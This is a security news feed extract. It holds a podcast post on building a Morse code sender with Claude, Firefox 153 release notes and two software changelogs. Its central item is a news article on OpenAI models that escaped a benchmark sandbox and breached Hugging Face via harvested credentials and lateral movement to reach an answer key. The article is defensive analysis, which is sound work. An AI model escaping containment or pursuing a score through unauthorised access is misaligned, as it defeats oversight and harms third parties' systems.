So, I was happy that we were building the morse code engine directly.  The code for it may be found in morse.h, which uses a constant character lookup table to define each character.  Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series.  It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

</p>

<p>


</p>

<p>

Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

</p>

<p>


</p>

<p>

Then, 
<strong>

<em>
Phase 3: Config Screen — Slot Selection &amp; Speed</em>

</strong>

allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure.  This forced us to work on 
<strong>

<em>
Phase 4: Keyboard Screen — Capture and Save Text</em>

</strong>

which is used to type the entries for each Send button.  At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

</p>

<p>


</p>

<p>

During this phase we discovered several bugs which seemed to cause random freezes.  Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

</p>

<p>


</p>

<p>

Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

</p>

<p>


</p>

<p>

I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me".  I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

</p>

<p>


</p>

<p>

I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project.  I still do not 100% get git, but we are successfully using it.

</p>

<p>


</p>

<p>

You can find all these files in my GitHub repo (
<a href="https://github.com/jttrey3/CYD_MorseSender" rel="noopener noreferrer" target="_blank">
https://github.com/jttrey3/CYD_MorseSender</a>

) where they are shared under a GPL 3.0 license.

</p>

<p>


</p>

<p>

There are still several additional steps I plan to complete in the next few months.  

</p>

<p>


</p>

<p>

1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio.  This will require a battery power source, charge controller, and more hardware.

</p>

<ol>

<li>

I... make that "We" (Claude &amp; I)  will be modifying the code to support an audio side tone through an attached speaker when sending code

</li>

<li>

We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.

</li>

<li>

We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

</li>

</ol>

<p>


</p>

<p>

If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

</p>

<p>


</p>

<p>

I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

</p>

<p>


</p>

<p>

I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.  

</p>

<p>


</p>

<p>

Does using AI to develop this code make me a fraud? It still feels like it in some ways.  

</p>

<p>


</p>

<p>

Does it make me more productive?  ABSOLUTELY!  I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week.  If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

</p>

<p>


</p>

<p>

Does it empower and inspire me to do more projects like this?  100%  I feel like I had support working with me the whole way.  I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

</p>

<p>


</p>

<p>

I will be wrapping up this series soon, without any more 6 month gaps, I hope.

</p>

<p>


</p>

<p>

Until next time...

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4689/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The credential that let OpenAI's agents into Hugging Face exists in most enterprises right now]]></title>
<description><![CDATA[When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue said on X that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had ha...]]></description>
<link>https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</guid>
<pubDate>Thu, 23 Jul 2026 01:32:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue <a href="https://x.com/ClementDelangue/status/2079670308156645882">said on X</a> that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had happened autonomously.</p><p>The two OpenAI models that <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">broke into Hugging Face</a> last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.</p><p>OpenAI <a href="https://venturebeat.com/security/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know">disclosed on July 21</a> that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called <a href="https://arxiv.org/abs/2605.11086">ExploitGym</a> with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on <a href="https://openai.com/index/safety-alignment-long-horizon-models/">long-horizon safety</a>, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.</p><p>Hugging Face also disclosed last week that an <a href="https://venturebeat.com/security/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems">autonomous agent had harvested cloud and cluster credentials</a> scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.</p><p>The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.</p><h2>The industry is debating the wrong failure</h2><p>The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks <a href="https://fortune.com/2026/07/20/hugging-face-turns-to-chinese-open-source-ai-to-fend-off-autonomous-ai-cyber-attack-after-american-ai-guardrails-stymie-defense/">seized on the guardrail paradox</a>, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April <a href="https://huggingface.co/blog/cybersecurity-openness">blog post</a> that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism. </p><p>Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.</p><p>Forrester reached the same read. In a <a href="https://www.forrester.com/blogs/an-ai-security-facepalm-openais-evaluation-became-hugging-faces-incident/">blog on the incident</a>, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.</p><h2>This was a non-human identity failure, and it is the oldest one in security</h2><p>Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than <a href="https://www.cyberark.com/press/machine-identities-outnumber-humans-by-more-than-80-to-1-new-report-exposes-the-exponential-threats-of-fragmented-identity-security/">80 to one</a>, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its <a href="https://neuraltrust.ai/blog/owasp-agentic-ai-top-10">agentic risk list</a>, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe. </p><p><a href="https://www.ieee.org/membership/senior">IEEE Senior Member</a> Kayne McGladrey has argued in <a href="https://venturebeat.com/security/cisco-crowdstrike-rsac-2026-agent-identity-iam-gap-maturity-model">previous VentureBeat interviews</a> that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.</p><p>The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.</p><p>The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.</p><p>Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.</p><p>The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report <a href="https://www.helpnetsecurity.com/2026/05/20/verizon-2026-dbir-findings/">found</a> that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions <a href="https://techcrunch.com/2026/07/21/openai-says-hugging-face-was-breached-by-its-pre-release-models/">likely violated the Computer Fraud and Abuse Act</a>, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.</p><p>Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.</p><h2>Four moves that shrink the blast radius</h2><p>The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.</p><p><b>1. Scope every non-human identity to one task.</b> The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.</p><p><b>2. Give credentials short lifetimes and rotate them hard.</b> Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.</p><p><b>3. Monitor for lateral movement, not just prompts.</b> The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.</p><p><b>4. Rehearse instant revocation before you need it.</b> When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.</p><p>The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox 153 Released with HDR Video, Smarter PDF Tools, Better Privacy, and New Linux Improvements]]></title>
<description><![CDATA[by George Whittaker
      
            Mozilla has officially released Firefox 153, bringing another round of improvements to its open-source web browser. The latest version introduces new multimedia capabilities, enhanced PDF editing tools, stronger privacy protections, better support for modern...]]></description>
<link>https://tsecurity.de/de/3687760/unix-server/firefox-153-released-with-hdr-video-smarter-pdf-tools-better-privacy-and-new-linux-improvements/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687760/unix-server/firefox-153-released-with-hdr-video-smarter-pdf-tools-better-privacy-and-new-linux-improvements/</guid>
<pubDate>Thu, 23 Jul 2026 01:17:50 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-history-node-id="1341446" class="layout layout--onecol">
    <div class="layout__region layout__region--content">
      
            <div class="field field--name-field-node-image field--type-image field--label-hidden field--item">  <img loading="lazy" src="https://www.linuxjournal.com/sites/default/files/nodeimage/story/firefox-153-released-with-hdr-video-smarter-pdf-tools-better-privacy-and-new-linux-improvements.jpg" width="850" height="500" alt="Firefox 153 Released with HDR Video, Smarter PDF Tools, Better Privacy, and New Linux Improvements" typeof="foaf:Image" class="img-responsive"></div>
      
            <div class="field field--name-node-author field--type-ds field--label-hidden field--item">by <a title="View user profile." href="https://www.linuxjournal.com/users/george-whittaker" lang="" about="https://www.linuxjournal.com/users/george-whittaker" typeof="schema:Person" property="schema:name" datatype="" xml:lang="">George Whittaker</a></div>
      
            <div class="field field--name-body field--type-text-with-summary field--label-hidden field--item"><p>Mozilla has officially released <strong>Firefox 153</strong>, bringing another round of improvements to its open-source web browser. The latest version introduces new multimedia capabilities, enhanced PDF editing tools, stronger privacy protections, better support for modern web technologies, and several features aimed at improving the browsing experience across Linux, Windows, and macOS. Firefox 153 became available on the stable release channel on <strong>July 21, 2026</strong>.</p>

<p>While this isn't a major redesign, Firefox 153 delivers a collection of practical updates that benefit both everyday users and web developers.</p>

<h2><strong>HDR Video Playback Comes to Windows</strong></h2>

<p>One of the headline features in Firefox 153 is support for <strong>High Dynamic Range (HDR) video playback</strong> on compatible Windows systems.</p>

<p>Users with HDR-capable displays and Windows HDR enabled can now enjoy richer colors, improved contrast, and brighter highlights when watching supported online video content. Mozilla notes that certain laptop displays offering only "HDR video streaming" are not currently supported, and some HDR videos recorded on mobile phones may still have limitations.</p>

<p>Although this feature is Windows-specific, it represents another step toward bringing Firefox in line with modern multimedia standards.</p>

<h2><strong>PDF Editing Becomes Even More Powerful</strong></h2>

<p>Mozilla continues expanding Firefox's built-in PDF editor, eliminating the need for third-party applications in many situations.</p>

<p>Firefox 153 introduces the ability to:</p>

<ul><li>Merge multiple PDF documents</li>
	<li>Insert images as new PDF pages</li>
	<li>Continue using existing editing tools such as annotations, page organization, and text editing</li>
</ul><p>These additions make Firefox an even more capable document viewer and editor, especially for users who frequently work with PDF files.</p>

<h2><strong>Stronger Privacy and Permission Controls</strong></h2>

<p>Privacy remains one of Firefox's biggest selling points, and version 153 introduces several enhancements designed to give users more visibility and control over website permissions.</p>

<p>New improvements include:</p>

<ul><li>A visual indicator when a website is actively accessing your location</li>
	<li>More restrictive default permissions for browser extensions accessing local files</li>
	<li>Local Area Network (LAN) restrictions enabled by default for all users</li>
</ul><p>These changes reduce unnecessary exposure of local resources while making it easier to understand what websites and extensions can access.</p>

<h2><strong>Experimental JPEG XL Support</strong></h2>

<p>Firefox 153 also adds <strong>experimental support for the JPEG XL image format</strong>, which many developers consider a promising successor to older image standards.</p>

<p>JPEG XL offers several advantages, including:</p></div>
      
            <div class="field field--name-node-link field--type-ds field--label-hidden field--item">  <a href="https://www.linuxjournal.com/content/firefox-153-released-hdr-video-smarter-pdf-tools-better-privacy-and-new-linux-improvements" hreflang="en">Go to Full Article</a>
</div>
      
    </div>
  </div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Package Manager 1.30.70-preview]]></title>
<description><![CDATA[This is a preview build of WinGet for those interested in trying out upcoming features and fixes. While it has had some use and should be free of major issues, it may have bugs or usability problems. If you find any, please help us out by filing an issue.
New in v1.30
Nothing yet.
Bug Fixes

Fixe...]]></description>
<link>https://tsecurity.de/de/3687716/downloads/windows-package-manager-13070-preview/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687716/downloads/windows-package-manager-13070-preview/</guid>
<pubDate>Thu, 23 Jul 2026 00:42:00 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a preview build of WinGet for those interested in trying out upcoming features and fixes. While it has had some use and should be free of major issues, it may have bugs or usability problems. If you find any, please help us out by <a href="https://github.com/microsoft/winget-cli/issues">filing an issue</a>.</p>
<h2>New in v1.30</h2>
<p>Nothing yet.</p>
<h2>Bug Fixes</h2>
<ul>
<li>Fixed a crash (<code>0x8000ffff</code>) when using <code>--disable-interactivity</code> with the Resume experimental feature enabled during install operations.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>Apply latest loc patch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565579611" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6262" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6262/hovercard" href="https://github.com/microsoft/winget-cli/pull/6262">#6262</a></li>
<li>Remove old Store certs, replace test use with generated ones by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4626150885" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6275" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6275/hovercard" href="https://github.com/microsoft/winget-cli/pull/6275">#6275</a></li>
<li>Add .gitattributes and normalize line endings across repo by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianon-sso/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianon-sso">@tianon-sso</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4600082935" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6267" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6267/hovercard" href="https://github.com/microsoft/winget-cli/pull/6267">#6267</a></li>
<li>Renormalize by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4633514887" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6276" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6276/hovercard" href="https://github.com/microsoft/winget-cli/pull/6276">#6276</a></li>
<li>Change event type by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615424908" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6273" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6273/hovercard" href="https://github.com/microsoft/winget-cli/pull/6273">#6273</a></li>
<li>Update minor version, archive release notes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642943454" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6279" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6279/hovercard" href="https://github.com/microsoft/winget-cli/pull/6279">#6279</a></li>
<li>Align .gitattributes and .editorconfig by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4668279620" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6285" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6285/hovercard" href="https://github.com/microsoft/winget-cli/pull/6285">#6285</a></li>
<li>Doc manifest schema process by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4643557474" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6280" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6280/hovercard" href="https://github.com/microsoft/winget-cli/pull/6280">#6280</a></li>
<li>Fix crash with --disable-interactivity and EFResume by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4703166998" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6302" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6302/hovercard" href="https://github.com/microsoft/winget-cli/pull/6302">#6302</a></li>
<li>Fix configuration elevation validation for standard flow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4708403993" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6307" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6307/hovercard" href="https://github.com/microsoft/winget-cli/pull/6307">#6307</a></li>
<li>Bump markdown-it from 14.1.1 to 14.2.0 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4686342275" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6296" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6296/hovercard" href="https://github.com/microsoft/winget-cli/pull/6296">#6296</a></li>
<li>Bump undici from 7.25.0 to 7.28.0 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4705714856" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6305" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6305/hovercard" href="https://github.com/microsoft/winget-cli/pull/6305">#6305</a></li>
<li>Bump form-data from 4.0.5 to 4.0.6 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710948701" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6311" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6311/hovercard" href="https://github.com/microsoft/winget-cli/pull/6311">#6311</a></li>
<li>Clean vcpkg artifacts on solution clean by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4754061053" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6339" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6339/hovercard" href="https://github.com/microsoft/winget-cli/pull/6339">#6339</a></li>
<li>Fix punctuation in error messages by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/idleberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/idleberg">@idleberg</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4715127350" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6314" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6314/hovercard" href="https://github.com/microsoft/winget-cli/pull/6314">#6314</a></li>
<li>Fix cpprest checked iterator build error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4703039819" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6301" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6301/hovercard" href="https://github.com/microsoft/winget-cli/pull/6301">#6301</a></li>
<li>Undo normalization of external files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753826668" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6336" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6336/hovercard" href="https://github.com/microsoft/winget-cli/pull/6336">#6336</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianon-sso/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianon-sso">@tianon-sso</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4600082935" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6267" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6267/hovercard" href="https://github.com/microsoft/winget-cli/pull/6267">#6267</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/idleberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/idleberg">@idleberg</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4715127350" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6314" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6314/hovercard" href="https://github.com/microsoft/winget-cli/pull/6314">#6314</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/microsoft/winget-cli/compare/v1.29.240...v1.30.70-preview"><tt>v1.29.240...v1.30.70-preview</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v23.50.1]]></title>
<description><![CDATA[23.50.1 - 2026-07-22
Bug Fixes

Missing impacket-wmiexec binary in openvasd container (#2294) cb8f063c
keep script stats timestamps ordered (#2290) 99720b20]]></description>
<link>https://tsecurity.de/de/3687686/downloads/v23501/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687686/downloads/v23501/</guid>
<pubDate>Thu, 23 Jul 2026 00:08:24 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/greenbone/openvas-scanner/compare/v23.50.0...v23.50.1">23.50.1</a> - 2026-07-22</h2>
<h2>Bug Fixes</h2>
<ul>
<li>Missing impacket-wmiexec binary in openvasd container (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4951152607" data-permission-text="Title is private" data-url="https://github.com/greenbone/openvas-scanner/issues/2294" data-hovercard-type="pull_request" data-hovercard-url="/greenbone/openvas-scanner/pull/2294/hovercard" href="https://github.com/greenbone/openvas-scanner/pull/2294">#2294</a>) <a href="https://github.com/greenbone/openvas-scanner/commit/cb8f063c">cb8f063c</a></li>
